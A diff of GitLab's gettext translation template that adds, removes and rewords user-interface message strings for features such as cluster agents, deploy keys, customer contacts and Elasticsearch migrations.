-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -892,6 +919,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -925,6 +955,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -973,9 +1006,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1081,6 +1111,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1213,6 +1246,12 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "(this user)"
msgstr ""
@@ -1222,6 +1261,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1261,6 +1303,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1591,9 +1636,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1630,9 +1672,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1681,9 +1720,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1819,9 +1855,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2068,12 +2101,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2116,6 +2155,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2158,9 +2203,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2230,6 +2272,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2275,9 +2320,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2320,7 +2362,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2329,7 +2371,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2425,6 +2467,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2491,7 +2536,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3028,19 +3073,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3631,9 +3685,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3661,6 +3712,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3820,6 +3874,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4003,6 +4060,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4042,6 +4102,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4084,9 +4147,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4099,9 +4159,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4159,6 +4216,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4168,6 +4228,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4585,6 +4648,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4789,6 +4855,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4888,6 +4957,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5536,6 +5608,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5614,6 +5689,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5623,12 +5701,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5641,6 +5728,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5734,6 +5824,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5746,6 +5839,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6037,10 +6133,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6049,6 +6148,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6295,6 +6397,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6589,10 +6694,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6643,9 +6748,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6658,6 +6760,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6721,10 +6826,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6787,6 +6892,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6802,9 +6910,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7003,9 +7108,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7303,6 +7405,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7345,6 +7450,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7387,12 +7495,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7414,16 +7516,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7435,9 +7552,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7447,6 +7585,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7456,28 +7597,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7489,6 +7633,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7501,60 +7648,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7696,15 +7861,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7831,9 +7999,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7879,12 +8044,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7906,9 +8065,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8209,6 +8365,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8263,6 +8422,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8320,9 +8482,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8359,6 +8518,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8785,6 +8947,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8797,6 +8965,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8836,9 +9007,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9553,7 +9721,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9709,6 +9877,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9868,6 +10039,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9901,9 +10075,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10123,6 +10294,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10513,6 +10714,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11161,6 +11365,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11182,6 +11389,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11236,9 +11446,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11284,6 +11491,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11404,6 +11617,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11419,19 +11635,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11674,9 +11896,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11908,7 +12127,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12178,6 +12397,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12346,6 +12568,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12436,9 +12661,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12472,6 +12694,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12550,9 +12775,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12646,6 +12877,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
